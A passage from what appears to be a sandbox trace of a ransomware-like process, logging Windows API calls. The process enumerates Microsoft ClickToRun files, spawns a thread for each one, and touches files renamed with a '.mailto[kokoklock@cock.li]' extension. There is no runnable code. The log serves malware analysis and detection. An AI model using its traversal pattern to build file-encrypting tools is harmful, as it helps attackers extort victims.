Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16" [0176.488] wcscat (in: _Dest=0x2f97bb8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\" [0176.489] wcscat (in: _Dest=0x2f97bb8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\*" [0176.489] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2feee08 [0176.489] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\*", lpFindFileData=0x2feee08 | out: lpFindFileData=0x2feee08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fba0 [0176.491] wcscmp (_String1=".", _String2=".") returned 0 [0176.491] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2feee08 | out: lpFindFileData=0x2feee08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.491] wcscmp (_String1="..", _String2=".") returned 1 [0176.491] wcscmp (_String1="..", _String2="..") returned 0 [0176.491] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2feee08 | out: lpFindFileData=0x2feee08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19bd39c1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdd889800, ftLastWriteTime.dwHighDateTime=0x1d32052, nFileSizeHigh=0x0, nFileSizeLow=0x5b31, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0176.491] wcscmp (_String1="MasterDescriptor.x-none.xml", _String2=".") returned 1 [0176.491] wcscmp (_String1="MasterDescriptor.x-none.xml", _String2="..") returned 1 [0176.491] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x106) returned 0x305d610 [0176.491] wcscpy (in: _Dest=0x305d610, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16" [0176.491] wcscat (in: _Dest=0x305d610, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\" [0176.491] wcscat (in: _Dest=0x305d610, _Source="MasterDescriptor.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml" [0176.624] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305d610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f4 [0176.624] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2feee08 | out: lpFindFileData=0x2feee08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19bf9d35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19bf9d35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aa2800, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s320.hash", cAlternateFileName="S320~1.HAS")) returned 1 [0176.625] wcscmp (_String1="s320.hash", _String2=".") returned 1 [0176.625] wcscmp (_String1="s320.hash", _String2="..") returned 1 [0176.625] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe2) returned 0x2fc4490 [0176.625] wcscpy (in: _Dest=0x2fc4490, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16" [0176.625] wcscat (in: _Dest=0x2fc4490, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\" [0176.625] wcscat (in: _Dest=0x2fc4490, _Source="s320.hash" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\s320.hash") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\s320.hash" [0176.625] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fc4490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x774 [0176.625] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2feee08 | out: lpFindFileData=0x2feee08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19bf9d35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19bf9d35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aa2800, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x7e0a5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.Platform.x-none.man.xml", cAlternateFileName="STREAM~1.XML")) returned 1 [0176.626] wcscmp (_String1="stream.Platform.x-none.man.xml", _String2=".") returned 1 [0176.626] wcscmp (_String1="stream.Platform.x-none.man.xml", _String2="..") returned 1 [0176.626] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10c) returned 0x305cb20 [0176.626] wcscpy (in: _Dest=0x305cb20, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16" [0176.626] wcscat (in: _Dest=0x305cb20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\" [0176.626] wcscat (in: _Dest=0x305cb20, _Source="stream.Platform.x-none.man.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml" [0176.626] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305cb20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f0 [0176.626] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2feee08 | out: lpFindFileData=0x2feee08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fffcc2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19fffcc2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x316a100, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x80, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.hash", cAlternateFileName="STREAM~1.HAS")) returned 1 [0176.626] wcscmp (_String1="stream.x86.x-none.hash", _String2=".") returned 1 [0176.626] wcscmp (_String1="stream.x86.x-none.hash", _String2="..") returned 1 [0176.626] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xfc) returned 0x2f6ce58 [0176.626] wcscpy (in: _Dest=0x2f6ce58, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16" [0176.627] wcscat (in: _Dest=0x2f6ce58, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\" [0176.627] wcscat (in: _Dest=0x2f6ce58, _Source="stream.x86.x-none.hash" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.hash") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.hash" [0176.627] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6ce58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x674 [0176.627] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2feee08 | out: lpFindFileData=0x2feee08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fffcc2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19fffcc2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x447ce00, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x460b47, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0176.627] wcscmp (_String1="stream.x86.x-none.man.dat", _String2=".") returned 1 [0176.627] wcscmp (_String1="stream.x86.x-none.man.dat", _String2="..") returned 1 [0176.627] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x102) returned 0x305d1b0 [0176.627] wcscpy (in: _Dest=0x305d1b0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16" [0176.627] wcscat (in: _Dest=0x305d1b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\" [0176.627] wcscat (in: _Dest=0x305d1b0, _Source="stream.x86.x-none.man.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat" [0176.627] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305d1b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x83c [0176.628] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2feee08 | out: lpFindFileData=0x2feee08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fffcc2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19fffcc2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x447ce00, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x460b47, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0176.628] FindClose (in: hFindFile=0x2f7fba0 | out: hFindFile=0x2f7fba0) returned 1 [0176.629] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2feee08) returned 1 [0176.629] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97bb8) returned 1 [0176.629] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0f38) returned 1 [0176.629] RtlExitUserThread (Status=0x0) Thread: id = 2539 os_tid = 0x118c [0176.493] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visiomui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.494] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.494] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visiomui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.494] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.494] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2148) returned 1 [0176.494] RtlExitUserThread (Status=0x0) Thread: id = 2540 os_tid = 0x1194 [0176.495] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.word.word.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.495] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.495] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.word.word.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.496] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.496] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8f458) returned 1 [0176.496] RtlExitUserThread (Status=0x0) Thread: id = 2541 os_tid = 0x1198 [0176.500] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.wordmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.500] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.501] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.wordmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.501] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.501] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1650) returned 1 [0176.501] RtlExitUserThread (Status=0x0) Thread: id = 2542 os_tid = 0x119c [0176.502] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\integrator.exe.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.502] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.502] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\integrator.exe.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.502] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.502] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ce58) returned 1 [0176.503] RtlExitUserThread (Status=0x0) Thread: id = 2543 os_tid = 0x11a0 [0176.504] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentfallback2016.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.505] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.505] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentfallback2016.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.505] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.505] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8f5a0) returned 1 [0176.505] RtlExitUserThread (Status=0x0) Thread: id = 2544 os_tid = 0x11a4 [0176.506] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentlogon2016.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.507] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.507] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentlogon2016.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.507] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.507] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0b10) returned 1 [0176.507] RtlExitUserThread (Status=0x0) Thread: id = 2545 os_tid = 0x11a8 [0176.509] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\msoutilstat.etw.man.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.509] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.510] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\msoutilstat.etw.man.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.510] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.510] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305c490) returned 1 [0176.510] RtlExitUserThread (Status=0x0) Thread: id = 2546 os_tid = 0x11b0 [0176.511] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\wordetw.man.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.512] SetFileAttributesW (lpFileName="C:\\Users\\All 